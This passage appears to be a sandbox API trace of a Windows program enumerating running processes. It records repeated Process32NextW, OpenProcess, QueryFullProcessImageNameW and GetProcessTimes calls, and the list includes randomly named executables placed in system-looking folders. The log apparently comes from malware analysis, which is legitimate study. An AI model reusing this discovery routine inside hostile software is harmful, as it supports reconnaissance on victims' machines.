GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="") returned 0x0 [0239.693] QueryFullProcessImageNameW (in: hProcess=0xfc, dwFlags=0x0, lpExeName=0x178f5c, lpdwSize=0x1795c8 | out: lpExeName="C:\\Windows\\System32\\svchost.exe", lpdwSize=0x1795c8) returned 1 [0239.693] wcscpy (in: _Dest=0x179398, _Source="C:\\Windows\\System32\\svchost.exe" | out: _Dest="C:\\Windows\\System32\\svchost.exe") returned="C:\\Windows\\System32\\svchost.exe" [0239.693] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0239.693] CloseHandle (hObject=0xfc) returned 1 [0239.693] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.693] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x308) returned 0xfc [0239.693] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="") returned 0x0 [0239.694] QueryFullProcessImageNameW (in: hProcess=0xfc, dwFlags=0x0, lpExeName=0x178f5c, lpdwSize=0x1795c8 | out: lpExeName="C:\\Windows\\System32\\svchost.exe", lpdwSize=0x1795c8) returned 1 [0239.694] wcscpy (in: _Dest=0x179398, _Source="C:\\Windows\\System32\\svchost.exe" | out: _Dest="C:\\Windows\\System32\\svchost.exe") returned="C:\\Windows\\System32\\svchost.exe" [0239.694] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0239.694] CloseHandle (hObject=0xfc) returned 1 [0239.694] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.694] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x334) returned 0xfc [0239.694] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="") returned 0x0 [0239.695] QueryFullProcessImageNameW (in: hProcess=0xfc, dwFlags=0x0, lpExeName=0x178f5c, lpdwSize=0x1795c8 | out: lpExeName="C:\\Windows\\System32\\svchost.exe", lpdwSize=0x1795c8) returned 1 [0239.695] wcscpy (in: _Dest=0x179398, _Source="C:\\Windows\\System32\\svchost.exe" | out: _Dest="C:\\Windows\\System32\\svchost.exe") returned="C:\\Windows\\System32\\svchost.exe" [0239.695] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0239.695] CloseHandle (hObject=0xfc) returned 1 [0239.695] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.695] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3ec) returned 0xfc [0239.696] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="") returned 0x0 [0239.696] QueryFullProcessImageNameW (in: hProcess=0xfc, dwFlags=0x0, lpExeName=0x178f5c, lpdwSize=0x1795c8 | out: lpExeName="C:\\Windows\\System32\\svchost.exe", lpdwSize=0x1795c8) returned 1 [0239.696] wcscpy (in: _Dest=0x179398, _Source="C:\\Windows\\System32\\svchost.exe" | out: _Dest="C:\\Windows\\System32\\svchost.exe") returned="C:\\Windows\\System32\\svchost.exe" [0239.696] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0239.696] CloseHandle (hObject=0xfc) returned 1 [0239.696] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.697] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x330) returned 0xfc [0239.697] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="") returned 0x0 [0239.697] QueryFullProcessImageNameW (in: hProcess=0xfc, dwFlags=0x0, lpExeName=0x178f5c, lpdwSize=0x1795c8 | out: lpExeName="C:\\Windows\\System32\\svchost.exe", lpdwSize=0x1795c8) returned 1 [0239.697] wcscpy (in: _Dest=0x179398, _Source="C:\\Windows\\System32\\svchost.exe" | out: _Dest="C:\\Windows\\System32\\svchost.exe") returned="C:\\Windows\\System32\\svchost.exe" [0239.697] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0239.697] CloseHandle (hObject=0xfc) returned 1 [0239.697] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x308, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0239.698] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x438) returned 0xfc [0239.698] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="") returned 0x0 [0239.698] QueryFullProcessImageNameW (in: hProcess=0xfc, dwFlags=0x0, lpExeName=0x178f5c, lpdwSize=0x1795c8 | out: lpExeName="C:\\Windows\\System32\\dwm.exe", lpdwSize=0x1795c8) returned 1 [0239.698] wcscpy (in: _Dest=0x179398, _Source="C:\\Windows\\System32\\dwm.exe" | out: _Dest="C:\\Windows\\System32\\dwm.exe") returned="C:\\Windows\\System32\\dwm.exe" [0239.698] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0239.698] CloseHandle (hObject=0xfc) returned 1 [0239.698] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x430, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0239.699] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x448) returned 0xfc [0239.699] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="") returned 0x0 [0239.699] QueryFullProcessImageNameW (in: hProcess=0xfc, dwFlags=0x0, lpExeName=0x178f5c, lpdwSize=0x1795c8 | out: lpExeName="C:\\Windows\\explorer.exe", lpdwSize=0x1795c8) returned 1 [0239.699] wcscpy (in: _Dest=0x179398, _Source="C:\\Windows\\explorer.exe" | out: _Dest="C:\\Windows\\explorer.exe") returned="C:\\Windows\\explorer.exe" [0239.699] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0239.699] CloseHandle (hObject=0xfc) returned 1 [0239.699] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0239.700] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x48c) returned 0xfc [0239.700] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="") returned 0x0 [0239.700] QueryFullProcessImageNameW (in: hProcess=0xfc, dwFlags=0x0, lpExeName=0x178f5c, lpdwSize=0x1795c8 | out: lpExeName="C:\\Windows\\System32\\spoolsv.exe", lpdwSize=0x1795c8) returned 1 [0239.700] wcscpy (in: _Dest=0x179398, _Source="C:\\Windows\\System32\\spoolsv.exe" | out: _Dest="C:\\Windows\\System32\\spoolsv.exe") returned="C:\\Windows\\System32\\spoolsv.exe" [0239.700] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0239.700] CloseHandle (hObject=0xfc) returned 1 [0239.700] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0239.701] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4b0) returned 0xfc [0239.701] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="") returned 0x0 [0239.701] QueryFullProcessImageNameW (in: hProcess=0xfc, dwFlags=0x0, lpExeName=0x178f5c, lpdwSize=0x1795c8 | out: lpExeName="C:\\Windows\\System32\\taskhost.exe", lpdwSize=0x1795c8) returned 1 [0239.701] wcscpy (in: _Dest=0x179398, _Source="C:\\Windows\\System32\\taskhost.exe" | out: _Dest="C:\\Windows\\System32\\taskhost.exe") returned="C:\\Windows\\System32\\taskhost.exe" [0239.701] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0239.701] CloseHandle (hObject=0xfc) returned 1 [0239.701] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.702] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4c8) returned 0xfc [0239.702] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="") returned 0x0 [0239.702] QueryFullProcessImageNameW (in: hProcess=0xfc, dwFlags=0x0, lpExeName=0x178f5c, lpdwSize=0x1795c8 | out: lpExeName="C:\\Windows\\System32\\svchost.exe", lpdwSize=0x1795c8) returned 1 [0239.702] wcscpy (in: _Dest=0x179398, _Source="C:\\Windows\\System32\\svchost.exe" | out: _Dest="C:\\Windows\\System32\\svchost.exe") returned="C:\\Windows\\System32\\svchost.exe" [0239.702] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0239.702] CloseHandle (hObject=0xfc) returned 1 [0239.703] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0239.703] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x5c4) returned 0xfc [0239.703] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="") returned 0x0 [0239.703] QueryFullProcessImageNameW (in: hProcess=0xfc, dwFlags=0x0, lpExeName=0x178f5c, lpdwSize=0x1795c8 | out: lpExeName="C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe", lpdwSize=0x1795c8) returned 1 [0239.704] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe" | out: _Dest="C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe" [0239.704] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0239.704] CloseHandle (hObject=0xfc) returned 1 [0239.704] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0239.704] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3b4) returned 0xfc [0239.704] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="") returned 0x0 [0239.705] QueryFullProcessImageNameW (in: hProcess=0xfc, dwFlags=0x0, lpExeName=0x178f5c, lpdwSize=0x1795c8 | out: lpExeName="C:\\Windows\\System32\\wbem\\WmiPrvSE.exe", lpdwSize=0x1795c8) returned 1 [0239.705] wcscpy (in: _Dest=0x179398, _Source="C:\\Windows\\System32\\wbem\\WmiPrvSE.exe" | out: _Dest="C:\\Windows\\System32\\wbem\\WmiPrvSE.exe") returned="C:\\Windows\\System32\\wbem\\WmiPrvSE.exe" [0239.705] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0239.705] CloseHandle (hObject=0xfc) returned 1 [0239.705] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0239.706] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x36c) returned 0xfc [0239.706] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" (normalized: "c:\\program files (x86)\\internet explorer\\iexplore.exe")) returned 0x35 [0239.706] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" | out: _Dest="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe") returned="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" [0239.706] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0239.706] CloseHandle (hObject=0xfc) returned 1 [0239.706] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x22c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.707] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x22c) returned 0xfc [0239.707] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="") returned 0x0 [0239.708] QueryFullProcessImageNameW (in: hProcess=0xfc, dwFlags=0x0, lpExeName=0x178f5c, lpdwSize=0x1795c8 | out: lpExeName="C:\\Windows\\System32\\svchost.exe", lpdwSize=0x1795c8) returned 1 [0239.708] wcscpy (in: _Dest=0x179398, _Source="C:\\Windows\\System32\\svchost.exe" | out: _Dest="C:\\Windows\\System32\\svchost.exe") returned="C:\\Windows\\System32\\svchost.exe" [0239.708] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0239.708] CloseHandle (hObject=0xfc) returned 1 [0239.708] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0239.709] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3ac) returned 0xfc [0239.709] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" (normalized: "c:\\program files (x86)\\internet explorer\\iexplore.exe")) returned 0x35 [0239.709] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" | out: _Dest="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe") returned="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" [0239.709] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0239.709] CloseHandle (hObject=0xfc) returned 1 [0239.709] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x888, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0239.710] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x888) returned 0xfc [0239.710] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="") returned 0x0 [0239.710] QueryFullProcessImageNameW (in: hProcess=0xfc, dwFlags=0x0, lpExeName=0x178f5c, lpdwSize=0x1795c8 | out: lpExeName="C:\\Windows\\System32\\sppsvc.exe", lpdwSize=0x1795c8) returned 1 [0239.710] wcscpy (in: _Dest=0x179398, _Source="C:\\Windows\\System32\\sppsvc.exe" | out: _Dest="C:\\Windows\\System32\\sppsvc.exe") returned="C:\\Windows\\System32\\sppsvc.exe" [0239.711] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0239.711] CloseHandle (hObject=0xfc) returned 1 [0239.711] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="linegood.exe")) returned 1 [0239.711] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9ac) returned 0xfc [0239.711] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Windows Defender\\linegood.exe" (normalized: "c:\\program files (x86)\\windows defender\\linegood.exe")) returned 0x34 [0239.712] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Windows Defender\\linegood.exe" | out: _Dest="C:\\Program Files (x86)\\Windows Defender\\linegood.exe") returned="C:\\Program Files (x86)\\Windows Defender\\linegood.exe" [0239.712] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0239.712] CloseHandle (hObject=0xfc) returned 1 [0239.712] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="no_nothing.exe")) returned 1 [0239.712] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9b4) returned 0xfc [0239.713] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Windows Defender\\no_nothing.exe" (normalized: "c:\\program files (x86)\\windows defender\\no_nothing.exe")) returned 0x36 [0239.713] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Windows Defender\\no_nothing.exe" | out: _Dest="C:\\Program Files (x86)\\Windows Defender\\no_nothing.exe") returned="C:\\Program Files (x86)\\Windows Defender\\no_nothing.exe" [0239.713] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0239.713] CloseHandle (hObject=0xfc) returned 1 [0239.713] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="form remember evening.exe")) returned 1 [0240.348] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9bc) returned 0xfc [0240.349] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files\\DVD Maker\\form remember evening.exe" (normalized: "c:\\program files\\dvd maker\\form remember evening.exe")) returned 0x34 [0240.349] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files\\DVD Maker\\form remember evening.exe" | out: _Dest="C:\\Program Files\\DVD Maker\\form remember evening.exe") returned="C:\\Program Files\\DVD Maker\\form remember evening.exe" [0240.349] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0240.349] CloseHandle (hObject=0xfc) returned 1 [0240.349] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="study-reality-mission.exe")) returned 1 [0240.350] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9c8) returned 0xfc [0240.350] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Reference Assemblies\\study-reality-mission.exe" (normalized: "c:\\program files (x86)\\reference assemblies\\study-reality-mission.exe")) returned 0x45 [0240.351] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Reference Assemblies\\study-reality-mission.exe" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\study-reality-mission.exe") returned="C:\\Program Files (x86)\\Reference Assemblies\\study-reality-mission.exe" [0240.351] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0240.351] CloseHandle (hObject=0xfc) returned 1 [0240.351] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="field.exe")) returned 1 [0240.352] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9d4) returned 0xfc [0240.352] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Windows Portable Devices\\field.exe" (normalized: "c:\\program files (x86)\\windows portable devices\\field.exe")) returned 0x39 [0240.353] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Windows Portable Devices\\field.exe" | out: _Dest="C:\\Program Files (x86)\\Windows Portable Devices\\field.exe") returned="C:\\Program Files (x86)\\Windows Portable Devices\\field.exe" [0240.353] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0240.353] CloseHandle (hObject=0xfc) returned 1 [0240.353] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="apply-wear-benefit.exe")) returned 1 [0240.354] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9e0) returned 0xfc [0240.354] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Windows Defender\\apply-wear-benefit.exe" (normalized: "c:\\program files (x86)\\windows defender\\apply-wear-benefit.exe")) returned 0x3e [0240.355] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Windows Defender\\apply-wear-benefit.exe" | out: _Dest="C:\\Program Files (x86)\\Windows Defender\\apply-wear-benefit.exe") returned="C:\\Program Files (x86)\\Windows 